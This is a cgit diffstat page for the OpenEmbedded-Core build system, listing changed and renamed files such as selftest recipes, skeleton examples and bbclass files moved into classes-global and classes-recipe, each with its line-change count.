summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.gitignore5
-rw-r--r--.templateconf2
-rw-r--r--MAINTAINERS.md71
-rw-r--r--README.OE-Core29
-rw-r--r--README.OE-Core.md33
l---------README.md1
-rw-r--r--README.qemu.md (renamed from README.qemu)0
-rw-r--r--SECURITY.md22
-rwxr-xr-xcontrib/git-hooks/sendemail-validate.sample78
-rw-r--r--meta-selftest/classes/base-do-configure-modified.bbclass3
-rw-r--r--meta-selftest/classes/test-mkimage-wrapper.bbclass19
-rw-r--r--meta-selftest/conf/layer.conf4
-rw-r--r--meta-selftest/conf/multiconfig/muslmc.conf2
-rw-r--r--meta-selftest/files/static-group17
-rw-r--r--meta-selftest/files/static-passwd10
-rw-r--r--meta-selftest/lib/oeqa/runtime/cases/dnf_runtime.py3
-rw-r--r--meta-selftest/lib/oeqa/runtime/cases/virgl.py6
-rw-r--r--meta-selftest/lib/pseudo_pyc_test1.py1
-rw-r--r--meta-selftest/lib/pseudo_pyc_test2.py1
-rw-r--r--meta-selftest/recipes-devtools/mtd/mtd-utils-selftest/0001-tests-Remove-unused-linux-fs.h-header-from-includes.patch31
-rw-r--r--meta-selftest/recipes-devtools/mtd/mtd-utils-selftest_git.bb77
-rw-r--r--meta-selftest/recipes-devtools/python/python-async-test.inc4
-rw-r--r--meta-selftest/recipes-devtools/rust/rust-c-lib-example-bin_git.bb16
-rw-r--r--meta-selftest/recipes-devtools/rust/rust-c-lib-example-crates.inc79
-rw-r--r--meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb15
-rw-r--r--meta-selftest/recipes-extended/hello-rs/hello-rs-crates.inc8
-rw-r--r--meta-selftest/recipes-extended/hello-rs/hello-rs/0001-Greet-OE-Core.patch24
-rw-r--r--meta-selftest/recipes-extended/hello-rs/hello-rs_0.1.0.bb22
-rw-r--r--meta-selftest/recipes-extended/sysdig/sysdig-selftest/0055-Add-cstdint-for-uintXX_t-types.patch38
-rw-r--r--meta-selftest/recipes-extended/sysdig/sysdig-selftest/0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch29
-rw-r--r--meta-selftest/recipes-extended/sysdig/sysdig-selftest_0.28.0.bb66
-rw-r--r--meta-selftest/recipes-test/aspell/aspell_%.bbappend (renamed from meta-selftest/recipes-test/aspell/aspell_0.60.8.bbappend)0
-rw-r--r--meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb21
-rw-r--r--meta-selftest/recipes-test/base-files/base-files_%.bbappend2
-rw-r--r--meta-selftest/recipes-test/binutils/binutils_%.bbappend2
-rw-r--r--meta-selftest/recipes-test/container-image/container-image-testpkg.bb2
-rw-r--r--meta-selftest/recipes-test/cpp/.gitignore1
-rw-r--r--meta-selftest/recipes-test/cpp/cmake-example.bb25
-rw-r--r--meta-selftest/recipes-test/cpp/cmake-example/run-ptest10
-rw-r--r--meta-selftest/recipes-test/cpp/cpp-example.inc24
-rw-r--r--meta-selftest/recipes-test/cpp/files/CMakeLists.txt61
-rw-r--r--meta-selftest/recipes-test/cpp/files/cpp-example-lib.cpp33
-rw-r--r--meta-selftest/recipes-test/cpp/files/cpp-example-lib.hpp21
-rw-r--r--meta-selftest/recipes-test/cpp/files/cpp-example.cpp18
-rw-r--r--meta-selftest/recipes-test/cpp/files/meson.build38
-rw-r--r--meta-selftest/recipes-test/cpp/files/meson.options3
-rw-r--r--meta-selftest/recipes-test/cpp/files/test-cpp-example.cpp25
-rw-r--r--meta-selftest/recipes-test/cpp/meson-example.bb27
-rw-r--r--meta-selftest/recipes-test/cpp/meson-example/run-ptest10
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb8
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemuarm/arm.patch5
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemux86/x86.patch5
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-patch-overrides/source1
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-test-local/file31
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-test-local_6.03.bb5
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-test-localonly.bb3
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-test-localonly/file31
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-test-patch-gz.bb2
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb6
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded6
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb16
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb.upgraded15
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb22
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb.upgraded19
-rw-r--r--meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend2
-rw-r--r--meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb20
-rw-r--r--meta-selftest/recipes-test/gitrepotest/gitrepotest.bb16
-rw-r--r--meta-selftest/recipes-test/gitrepotest/gitrepotest/0001-testpatch.patch9
-rw-r--r--meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline-fail.bb4
-rw-r--r--meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.bb5
-rw-r--r--meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.inc16
-rw-r--r--meta-selftest/recipes-test/images/oe-selftest-image.bb3
-rw-r--r--meta-selftest/recipes-test/images/wic-image-minimal.bb5
-rw-r--r--meta-selftest/recipes-test/license/incompatible-license-alias.bb2
-rw-r--r--meta-selftest/recipes-test/license/incompatible-license.bb4
-rw-r--r--meta-selftest/recipes-test/license/incompatible-licenses.bb4
-rw-r--r--meta-selftest/recipes-test/license/incompatible-nonspdx-license.bb2
-rw-r--r--meta-selftest/recipes-test/logging-test/logging-test.bb34
-rw-r--r--meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb26
-rw-r--r--meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb22
-rw-r--r--meta-selftest/recipes-test/packagenameconflict/packagenameconflict.bb10
-rw-r--r--meta-selftest/recipes-test/perlcross/perlcross_%.bbappend2
-rw-r--r--meta-selftest/recipes-test/poison/poison.bb20
-rw-r--r--meta-selftest/recipes-test/postinst/postinst_1.0.bb20
-rw-r--r--meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb15
-rw-r--r--meta-selftest/recipes-test/recipetool/files/selftest-replaceme-src-globfile1
-rw-r--r--meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb6
-rw-r--r--meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb4
-rw-r--r--meta-selftest/recipes-test/selftest-chown/selftest-chown.bb9
-rw-r--r--meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb11
-rw-r--r--meta-selftest/recipes-test/selftest-ed/selftest-ed_1.14.1.bb2
-rw-r--r--meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb4
-rw-r--r--meta-selftest/recipes-test/selftest-hello/files/helloworld.c8
-rw-r--r--meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb19
-rw-r--r--meta-selftest/recipes-test/selftest-users/acreategroup.bb32
-rw-r--r--meta-selftest/recipes-test/selftest-users/bcreategroup.bb37
-rw-r--r--meta-selftest/recipes-test/selftest-users/ccreategroup.bb34
-rw-r--r--meta-selftest/recipes-test/selftest-users/creategroup1.bb30
-rw-r--r--meta-selftest/recipes-test/selftest-users/creategroup2.bb32
-rw-r--r--meta-selftest/recipes-test/selftest-users/dcreategroup.bb33
-rw-r--r--meta-selftest/recipes-test/selftest-users/useraddbadtask.bb20
-rw-r--r--meta-selftest/recipes-test/sysroot-test/sysroot-la-test_1.0.bb16
-rw-r--r--meta-selftest/recipes-test/sysroot-test/sysroot-pc-test_1.0.bb12
-rw-r--r--meta-selftest/recipes-test/sysroot-test/sysroot-shebang-test_1.0.bb12
-rw-r--r--meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend2
-rw-r--r--meta-selftest/recipes-test/testrpm/files/testfile.txt1
-rw-r--r--meta-selftest/recipes-test/testrpm/testrpm_0.0.1.bb18
-rw-r--r--meta-selftest/recipes-test/wrapper/cmdline-shebang-wrapper-test.bb30
-rw-r--r--meta-selftest/recipes-test/wrapper/files/test.awk2
-rw-r--r--meta-selftest/wic/overlayfs_etc.wks.in4
-rw-r--r--meta-selftest/wic/test_efi_plugin.wks6
-rw-r--r--meta-selftest/wic/test_empty_plugin.wks4
-rw-r--r--meta-selftest/wic/test_gpt_partition_name.wks7
-rw-r--r--meta-selftest/wic/test_rawcopy_plugin.wks.in2
-rw-r--r--meta-selftest/wic/test_uefikernel.wks5
-rw-r--r--meta-skeleton/README.skeleton4
-rw-r--r--meta-skeleton/conf/layer.conf2
-rw-r--r--meta-skeleton/conf/multilib-example.conf2
-rw-r--r--meta-skeleton/conf/multilib-example2.conf2
-rw-r--r--meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb50
-rw-r--r--meta-skeleton/recipes-core/busybox/busybox_%.bbappend5
-rw-r--r--meta-skeleton/recipes-kernel/hello-mod/files/hello.c23
-rw-r--r--meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb5
-rw-r--r--meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb6
-rw-r--r--meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb5
-rw-r--r--meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb9
-rw-r--r--meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c8
-rw-r--r--meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb17
-rw-r--r--meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb13
-rw-r--r--meta-skeleton/recipes-skeleton/service/service_0.1.bb9
-rw-r--r--meta-skeleton/recipes-skeleton/useradd/useradd-example.bb17
-rw-r--r--meta/classes-global/base.bbclass (renamed from meta/classes/base.bbclass)300
-rw-r--r--meta/classes-global/buildstats.bbclass302
-rw-r--r--meta/classes-global/debian.bbclass (renamed from meta/classes/debian.bbclass)31
-rw-r--r--meta/classes-global/devshell.bbclass (renamed from meta/classes/devshell.bbclass)19
-rw-r--r--meta/classes-global/insane.bbclass1664
-rw-r--r--meta/classes-global/license.bbclass (renamed from meta/classes/license.bbclass)160
-rw-r--r--meta/classes-global/logging.bbclass (renamed from meta/classes/logging.bbclass)6
-rw-r--r--meta/classes-global/mirrors.bbclass104
-rw-r--r--meta/classes-global/package.bbclass616
-rw-r--r--meta/classes-global/package_deb.bbclass (renamed from meta/classes/package_deb.bbclass)28
-rw-r--r--meta/classes-global/package_ipk.bbclass (renamed from meta/classes/package_ipk.bbclass)46
-rw-r--r--meta/classes-global/package_pkgdata.bbclass (renamed from meta/classes/package_pkgdata.bbclass)8
-rw-r--r--meta/classes-global/package_rpm.bbclass (renamed from meta/classes/package_rpm.bbclass)179
-rw-r--r--meta/classes-global/packagedata.bbclass (renamed from meta/classes/packagedata.bbclass)10
-rw-r--r--meta/classes-global/patch.bbclass (renamed from meta/classes/patch.bbclass)16
-rw-r--r--meta/classes-global/sanity.bbclass (renamed from meta/classes/sanity.bbclass)236
-rw-r--r--meta/classes-global/sstate.bbclass1390
-rw-r--r--meta/classes-global/staging.bbclass (renamed from meta/classes/staging.bbclass)122
-rw-r--r--meta/classes-global/uninative.bbclass (renamed from meta/classes/uninative.bbclass)28
-rw-r--r--meta/classes-global/utility-tasks.bbclass (renamed from meta/classes/utility-tasks.bbclass)9
-rw-r--r--meta/classes-global/utils.bbclass (renamed from meta/classes/utils.bbclass)83
-rw-r--r--meta/classes-recipe/allarch.bbclass (renamed from meta/classes/allarch.bbclass)8
-rw-r--r--meta/classes-recipe/autotools-brokensep.bbclass11
-rw-r--r--meta/classes-recipe/autotools.bbclass (renamed from meta/classes/autotools.bbclass)45
-rw-r--r--meta/classes-recipe/baremetal-image.bbclass144
-rw-r--r--meta/classes-recipe/bash-completion.bbclass13
-rw-r--r--meta/classes-recipe/bin_package.bbclass (renamed from meta/classes/bin_package.bbclass)11
-rw-r--r--meta/classes-recipe/binconfig-disabled.bbclass (renamed from meta/classes/binconfig-disabled.bbclass)10
-rw-r--r--meta/classes-recipe/binconfig.bbclass (renamed from meta/classes/binconfig.bbclass)8
-rw-r--r--meta/classes-recipe/cargo-update-recipe-crates.bbclass79
-rw-r--r--meta/classes-recipe/cargo.bbclass93
-rw-r--r--meta/classes-recipe/cargo_c.bbclass41
-rw-r--r--meta/classes-recipe/cargo_common.bbclass238
-rw-r--r--meta/classes-recipe/cmake-qemu.bbclass32
-rw-r--r--meta/classes-recipe/cmake.bbclass247
-rw-r--r--meta/classes-recipe/cml1.bbclass115
-rw-r--r--meta/classes-recipe/compress_doc.bbclass (renamed from meta/classes/compress_doc.bbclass)12
-rw-r--r--meta/classes-recipe/core-image.bbclass (renamed from meta/classes/core-image.bbclass)11
-rw-r--r--meta/classes-recipe/cpan-base.bbclass33
-rw-r--r--meta/classes-recipe/cpan.bbclass (renamed from meta/classes/cpan.bbclass)10
-rw-r--r--meta/classes-recipe/cpan_build.bbclass (renamed from meta/classes/cpan_build.bbclass)6
-rw-r--r--meta/classes-recipe/cross-canadian.bbclass (renamed from meta/classes/cross-canadian.bbclass)22
-rw-r--r--meta/classes-recipe/cross.bbclass (renamed from meta/classes/cross.bbclass)14
-rw-r--r--meta/classes-recipe/crosssdk.bbclass (renamed from meta/classes/crosssdk.bbclass)6
-rw-r--r--meta/classes-recipe/deploy.bbclass (renamed from meta/classes/deploy.bbclass)8
-rw-r--r--meta/classes-recipe/devicetree.bbclass (renamed from meta/classes/devicetree.bbclass)27
-rw-r--r--meta/classes-recipe/devupstream.bbclass61
-rw-r--r--meta/classes-recipe/distro_features_check.bbclass13
-rw-r--r--meta/classes-recipe/dos2unix.bbclass (renamed from meta/classes/dos2unix.bbclass)6
-rw-r--r--meta/classes-recipe/features_check.bbclass (renamed from meta/classes/features_check.bbclass)16
-rw-r--r--meta/classes-recipe/fontcache.bbclass (renamed from meta/classes/fontcache.bbclass)17
-rw-r--r--meta/classes-recipe/fs-uuid.bbclass (renamed from meta/classes/fs-uuid.bbclass)8
-rw-r--r--meta/classes-recipe/gconf.bbclass (renamed from meta/classes/gconf.bbclass)18
-rw-r--r--meta/classes-recipe/gettext.bbclass28
-rw-r--r--meta/classes-recipe/gi-docgen.bbclass32
-rw-r--r--meta/classes-recipe/gio-module-cache.bbclass44
-rw-r--r--meta/classes-recipe/github-releases.bbclass3
-rw-r--r--meta/classes-recipe/gnomebase.bbclass38
-rw-r--r--meta/classes-recipe/go-mod.bbclass30
-rw-r--r--meta/classes-recipe/go-ptest.bbclass (renamed from meta/classes/go-ptest.bbclass)8
-rw-r--r--meta/classes-recipe/go.bbclass171
-rw-r--r--meta/classes-recipe/goarch.bbclass102
-rw-r--r--meta/classes-recipe/gobject-introspection-data.bbclass (renamed from meta/classes/gobject-introspection-data.bbclass)6
-rw-r--r--meta/classes-recipe/gobject-introspection.bbclass64
-rw-r--r--meta/classes-recipe/grub-efi-cfg.bbclass (renamed from meta/classes/grub-efi-cfg.bbclass)4
-rw-r--r--meta/classes-recipe/grub-efi.bbclass14
-rw-r--r--meta/classes-recipe/gsettings.bbclass48
-rw-r--r--meta/classes-recipe/gtk-doc.bbclass72
-rw-r--r--meta/classes-recipe/gtk-icon-cache.bbclass95
-rw-r--r--meta/classes-recipe/gtk-immodules-cache.bbclass (renamed from meta/classes/gtk-immodules-cache.bbclass)16
-rw-r--r--meta/classes-recipe/image-artifact-names.bbclass41
-rw-r--r--meta/classes-recipe/image-combined-dbg.bbclass15
-rw-r--r--meta/classes-recipe/image-container.bbclass (renamed from meta/classes/image-container.bbclass)8
-rw-r--r--meta/classes-recipe/image-live.bbclass (renamed from meta/classes/image-live.bbclass)22
-rw-r--r--meta/classes-recipe/image-postinst-intercepts.bbclass (renamed from meta/classes/image-postinst-intercepts.bbclass)6
-rw-r--r--meta/classes-recipe/image.bbclass (renamed from meta/classes/image.bbclass)136
-rw-r--r--meta/classes-recipe/image_types.bbclass387
-rw-r--r--meta/classes-recipe/image_types_wic.bbclass (renamed from meta/classes/image_types_wic.bbclass)87
-rw-r--r--meta/classes-recipe/kernel-arch.bbclass (renamed from meta/classes/kernel-arch.bbclass)22
-rw-r--r--meta/classes-recipe/kernel-artifact-names.bbclass37
-rw-r--r--meta/classes-recipe/kernel-devicetree.bbclass139
-rw-r--r--meta/classes-recipe/kernel-fitimage.bbclass881
-rw-r--r--meta/classes-recipe/kernel-grub.bbclass (renamed from meta/classes/kernel-grub.bbclass)10
-rw-r--r--meta/classes-recipe/kernel-module-split.bbclass188
-rw-r--r--meta/classes-recipe/kernel-uboot.bbclass49
-rw-r--r--meta/classes-recipe/kernel-uimage.bbclass (renamed from meta/classes/kernel-uimage.bbclass)8
-rw-r--r--meta/classes-recipe/kernel-yocto.bbclass756
-rw-r--r--meta/classes-recipe/kernel.bbclass875
-rw-r--r--meta/classes-recipe/kernelsrc.bbclass17
-rw-r--r--meta/classes-recipe/lib_package.bbclass12
-rw-r--r--meta/classes-recipe/libc-package.bbclass (renamed from meta/classes/libc-package.bbclass)46
-rw-r--r--meta/classes-recipe/license_image.bbclass317
-rw-r--r--meta/classes-recipe/linux-dummy.bbclass31
-rw-r--r--meta/classes-recipe/linux-kernel-base.bbclass62
-rw-r--r--meta/classes-recipe/linuxloader.bbclass (renamed from meta/classes/linuxloader.bbclass)26
-rw-r--r--meta/classes-recipe/live-vm-common.bbclass (renamed from meta/classes/live-vm-common.bbclass)10
-rw-r--r--meta/classes-recipe/manpages.bbclass41
-rw-r--r--meta/classes-recipe/meson-routines.bbclass59
-rw-r--r--meta/classes-recipe/meson.bbclass181
-rw-r--r--meta/classes-recipe/mime-xdg.bbclass (renamed from meta/classes/mime-xdg.bbclass)16
-rw-r--r--meta/classes-recipe/mime.bbclass (renamed from meta/classes/mime.bbclass)18
-rw-r--r--meta/classes-recipe/module-base.bbclass (renamed from meta/classes/module-base.bbclass)7
-rw-r--r--meta/classes-recipe/module.bbclass (renamed from meta/classes/module.bbclass)24
-rw-r--r--meta/classes-recipe/multilib_header.bbclass (renamed from meta/classes/multilib_header.bbclass)10
-rw-r--r--meta/classes-recipe/multilib_script.bbclass41
-rw-r--r--meta/classes-recipe/native.bbclass239
-rw-r--r--meta/classes-recipe/nativesdk.bbclass (renamed from meta/classes/nativesdk.bbclass)18
-rw-r--r--meta/classes-recipe/nopackages.bbclass (renamed from meta/classes/nopackages.bbclass)7
-rw-r--r--meta/classes-recipe/npm.bbclass352
-rw-r--r--meta/classes-recipe/overlayfs-etc.bbclass88
-rw-r--r--meta/classes-recipe/overlayfs.bbclass142
-rw-r--r--meta/classes-recipe/packagegroup.bbclass (renamed from meta/classes/packagegroup.bbclass)13
-rw-r--r--meta/classes-recipe/perl-version.bbclass (renamed from meta/classes/perl-version.bbclass)12
-rw-r--r--meta/classes-recipe/perlnative.bbclass9
-rw-r--r--meta/classes-recipe/pixbufcache.bbclass (renamed from meta/classes/pixbufcache.bbclass)22
-rw-r--r--meta/classes-recipe/pkgconfig.bbclass8
-rw-r--r--meta/classes-recipe/populate_sdk.bbclass13
-rw-r--r--meta/classes-recipe/populate_sdk_base.bbclass (renamed from meta/classes/populate_sdk_base.bbclass)92
-rw-r--r--meta/classes-recipe/populate_sdk_ext.bbclass (renamed from meta/classes/populate_sdk_ext.bbclass)262
-rw-r--r--meta/classes-recipe/ptest-cargo.bbclass138
-rw-r--r--meta/classes-recipe/ptest-gnome.bbclass14
-rw-r--r--meta/classes-recipe/ptest-perl.bbclass (renamed from meta/classes/ptest-perl.bbclass)12
-rw-r--r--meta/classes-recipe/ptest.bbclass142
-rw-r--r--meta/classes-recipe/pypi.bbclass43
-rw-r--r--meta/classes-recipe/python3-dir.bbclass11
-rw-r--r--meta/classes-recipe/python3native.bbclass (renamed from meta/classes/python3native.bbclass)12
-rw-r--r--meta/classes-recipe/python3targetconfig.bbclass41
-rw-r--r--meta/classes-recipe/python_flit_core.bbclass14
-rw-r--r--meta/classes-recipe/python_hatchling.bbclass27
-rw-r--r--meta/classes-recipe/python_maturin.bbclass17
-rw-r--r--meta/classes-recipe/python_mesonpy.bbclass52
-rw-r--r--meta/classes-recipe/python_pep517.bbclass61
-rw-r--r--meta/classes-recipe/python_poetry_core.bbclass9
-rw-r--r--meta/classes-recipe/python_pyo3.bbclass36
-rw-r--r--meta/classes-recipe/python_setuptools3_rust.bbclass17
-rw-r--r--meta/classes-recipe/python_setuptools_build_meta.bbclass9
-rw-r--r--meta/classes-recipe/qemu.bbclass (renamed from meta/classes/qemu.bbclass)14
-rw-r--r--meta/classes-recipe/qemuboot.bbclass189
-rw-r--r--meta/classes-recipe/rootfs-postcommands.bbclass549
-rw-r--r--meta/classes-recipe/rootfs_deb.bbclass (renamed from meta/classes/rootfs_deb.bbclass)8
-rw-r--r--meta/classes-recipe/rootfs_ipk.bbclass (renamed from meta/classes/rootfs_ipk.bbclass)14
-rw-r--r--meta/classes-recipe/rootfs_rpm.bbclass43
-rw-r--r--meta/classes-recipe/rootfsdebugfiles.bbclass (renamed from meta/classes/rootfsdebugfiles.bbclass)8
-rw-r--r--meta/classes-recipe/rust-common.bbclass196
-rw-r--r--meta/classes-recipe/rust-target-config.bbclass437
-rw-r--r--meta/classes-recipe/rust.bbclass51
-rw-r--r--meta/classes-recipe/scons.bbclass40
-rw-r--r--meta/classes-recipe/setuptools3-base.bbclass30
-rw-r--r--meta/classes-recipe/setuptools3.bbclass38
-rw-r--r--meta/classes-recipe/setuptools3_legacy.bbclass84
-rw-r--r--meta/classes-recipe/siteinfo.bbclass (renamed from meta/classes/siteinfo.bbclass)73
-rw-r--r--meta/classes-recipe/syslinux.bbclass (renamed from meta/classes/syslinux.bbclass)4
-rw-r--r--meta/classes-recipe/systemd-boot-cfg.bbclass (renamed from meta/classes/systemd-boot-cfg.bbclass)8
-rw-r--r--meta/classes-recipe/systemd-boot.bbclass (renamed from meta/classes/systemd-boot.bbclass)4
-rw-r--r--meta/classes-recipe/systemd.bbclass (renamed from meta/classes/systemd.bbclass)58
-rw-r--r--meta/classes-recipe/testexport.bbclass (renamed from meta/classes/testexport.bbclass)28
-rw-r--r--meta/classes-recipe/testimage.bbclass (renamed from meta/classes/testimage.bbclass)156
-rw-r--r--meta/classes-recipe/testsdk.bbclass (renamed from meta/classes/testsdk.bbclass)4
-rw-r--r--meta/classes-recipe/texinfo.bbclass24
-rw-r--r--meta/classes-recipe/toolchain-scripts-base.bbclass (renamed from meta/classes/toolchain-scripts-base.bbclass)6
-rw-r--r--meta/classes-recipe/toolchain-scripts.bbclass (renamed from meta/classes/toolchain-scripts.bbclass)61
-rw-r--r--meta/classes-recipe/uboot-config.bbclass148
-rw-r--r--meta/classes-recipe/uboot-extlinux-config.bbclass (renamed from meta/classes/uboot-extlinux-config.bbclass)30
-rw-r--r--meta/classes-recipe/uboot-sign.bbclass466
-rw-r--r--meta/classes-recipe/update-alternatives.bbclass (renamed from meta/classes/update-alternatives.bbclass)56
-rw-r--r--meta/classes-recipe/update-rc.d.bbclass (renamed from meta/classes/update-rc.d.bbclass)34
-rw-r--r--meta/classes-recipe/upstream-version-is-even.bbclass (renamed from meta/classes/upstream-version-is-even.bbclass)6
-rw-r--r--meta/classes-recipe/vala.bbclass (renamed from meta/classes/vala.bbclass)14
-rw-r--r--meta/classes-recipe/waf.bbclass94
-rw-r--r--meta/classes-recipe/xmlcatalog.bbclass36
-rw-r--r--meta/classes/archiver.bbclass111
-rw-r--r--meta/classes/autotools-brokensep.bbclass5
-rw-r--r--meta/classes/baremetal-image.bbclass99
-rw-r--r--meta/classes/bash-completion.bbclass7
-rw-r--r--meta/classes/blacklist.bbclass20
-rw-r--r--meta/classes/buildhistory.bbclass216
-rw-r--r--meta/classes/buildstats-summary.bbclass6
-rw-r--r--meta/classes/buildstats.bbclass217
-rw-r--r--meta/classes/ccache.bbclass21
-rw-r--r--meta/classes/ccmake.bbclass6
-rw-r--r--meta/classes/chrpath.bbclass8
-rw-r--r--meta/classes/clutter.bbclass18
-rw-r--r--meta/classes/cmake.bbclass216
-rw-r--r--meta/classes/cml1.bbclass93
-rw-r--r--meta/classes/copyleft_compliance.bbclass6
-rw-r--r--meta/classes/copyleft_filter.bbclass8
-rw-r--r--meta/classes/cpan-base.bbclass18
-rw-r--r--meta/classes/create-spdx-2.2.bbclass1158
-rw-r--r--meta/classes/create-spdx.bbclass8
-rw-r--r--meta/classes/cve-check.bbclass582
-rw-r--r--meta/classes/devtool-source.bbclass13
-rw-r--r--meta/classes/devupstream.bbclass48
-rw-r--r--meta/classes/distro_features_check.bbclass7
-rw-r--r--meta/classes/distrooverrides.bbclass12
-rw-r--r--meta/classes/distutils-common-base.bbclass25
-rw-r--r--meta/classes/distutils3-base.bbclass5
-rw-r--r--meta/classes/distutils3.bbclass65
-rw-r--r--meta/classes/externalsrc.bbclass86
-rw-r--r--meta/classes/extrausers.bbclass13
-rw-r--r--meta/classes/gettext.bbclass22
-rw-r--r--meta/classes/gio-module-cache.bbclass38
-rw-r--r--meta/classes/glide.bbclass9
-rw-r--r--meta/classes/gnomebase.bbclass30
-rw-r--r--meta/classes/go-mod.bbclass20
-rw-r--r--meta/classes/go-vendor.bbclass211
-rw-r--r--meta/classes/go.bbclass155
-rw-r--r--meta/classes/goarch.bbclass119
-rw-r--r--meta/classes/gobject-introspection.bbclass53
-rw-r--r--meta/classes/godep.bbclass8
-rw-r--r--meta/classes/grub-efi.bbclass8
-rw-r--r--meta/classes/gsettings.bbclass42
-rw-r--r--meta/classes/gtk-doc.bbclass82
-rw-r--r--meta/classes/gtk-icon-cache.bbclass84
-rw-r--r--meta/classes/icecc.bbclass140
-rw-r--r--meta/classes/image-buildinfo.bbclass54
-rw-r--r--meta/classes/image-combined-dbg.bbclass9
-rw-r--r--meta/classes/image-mklibs.bbclass56
-rw-r--r--meta/classes/image-prelink.bbclass81
-rw-r--r--meta/classes/image_types.bbclass335
-rw-r--r--meta/classes/insane.bbclass1360
-rw-r--r--meta/classes/kernel-artifact-names.bbclass18
-rw-r--r--meta/classes/kernel-devicetree.bbclass95
-rw-r--r--meta/classes/kernel-fitimage.bbclass554
-rw-r--r--meta/classes/kernel-module-split.bbclass175
-rw-r--r--meta/classes/kernel-uboot.bbclass26
-rw-r--r--meta/classes/kernel-yocto.bbclass631
-rw-r--r--meta/classes/kernel.bbclass757
-rw-r--r--meta/classes/kernelsrc.bbclass10
-rw-r--r--meta/classes/lib_package.bbclass7
-rw-r--r--meta/classes/license_image.bbclass256
-rw-r--r--meta/classes/linux-kernel-base.bbclass41
-rw-r--r--meta/classes/manpages.bbclass44
-rw-r--r--meta/classes/mcextend.bbclass6
-rw-r--r--meta/classes/meson.bbclass187
-rw-r--r--meta/classes/meta.bbclass4
-rw-r--r--meta/classes/metadata_scm.bbclass52
-rw-r--r--meta/classes/migrate_localcount.bbclass6
-rw-r--r--meta/classes/mirrors.bbclass76
-rw-r--r--meta/classes/multilib.bbclass48
-rw-r--r--meta/classes/multilib_global.bbclass93
-rw-r--r--meta/classes/multilib_script.bbclass34
-rw-r--r--meta/classes/native.bbclass198
-rw-r--r--meta/classes/npm.bbclass307
-rw-r--r--meta/classes/oelint.bbclass6
-rw-r--r--meta/classes/own-mirrors.bbclass33
-rw-r--r--meta/classes/package.bbclass2439
-rw-r--r--meta/classes/package_tar.bbclass73
-rw-r--r--meta/classes/packagefeed-stability.bbclass252
-rw-r--r--meta/classes/perlnative.bbclass3
-rw-r--r--meta/classes/pkgconfig.bbclass2
-rw-r--r--meta/classes/populate_sdk.bbclass7
-rw-r--r--meta/classes/prexport.bbclass6
-rw-r--r--meta/classes/primport.bbclass6
-rw-r--r--meta/classes/ptest-gnome.bbclass8
-rw-r--r--meta/classes/ptest.bbclass119
-rw-r--r--meta/classes/pypi.bbclass26
-rw-r--r--meta/classes/python3-dir.bbclass5
-rw-r--r--meta/classes/qemuboot.bbclass142
-rw-r--r--meta/classes/recipe_sanity.bbclass8
-rw-r--r--meta/classes/relative_symlinks.bbclass6
-rw-r--r--meta/classes/relocatable.bbclass6
-rw-r--r--meta/classes/remove-libtool.bbclass6
-rw-r--r--meta/classes/report-error.bbclass58
-rw-r--r--meta/classes/reproducible_build.bbclass118
-rw-r--r--meta/classes/reproducible_build_simple.bbclass9
-rw-r--r--meta/classes/rm_work.bbclass126
-rw-r--r--meta/classes/rm_work_and_downloads.bbclass5
-rw-r--r--meta/classes/rootfs-postcommands.bbclass373
-rw-r--r--meta/classes/rootfs_rpm.bbclass39
-rw-r--r--meta/classes/scons.bbclass31
-rw-r--r--meta/classes/setuptools3.bbclass4
-rw-r--r--meta/classes/sign_ipk.bbclass6
-rw-r--r--meta/classes/sign_package_feed.bbclass9
-rw-r--r--meta/classes/sign_rpm.bbclass6
-rw-r--r--meta/classes/siteconfig.bbclass6
-rw-r--r--meta/classes/sstate.bbclass1217
-rw-r--r--meta/classes/terminal.bbclass11
-rw-r--r--meta/classes/texinfo.bbclass18
-rw-r--r--meta/classes/toaster.bbclass10
-rw-r--r--meta/classes/typecheck.bbclass6
-rw-r--r--meta/classes/uboot-config.bbclass57
-rw-r--r--meta/classes/uboot-sign.bbclass132
-rw-r--r--meta/classes/useradd-staticids.bbclass38
-rw-r--r--meta/classes/useradd.bbclass105
-rw-r--r--meta/classes/useradd_base.bbclass24
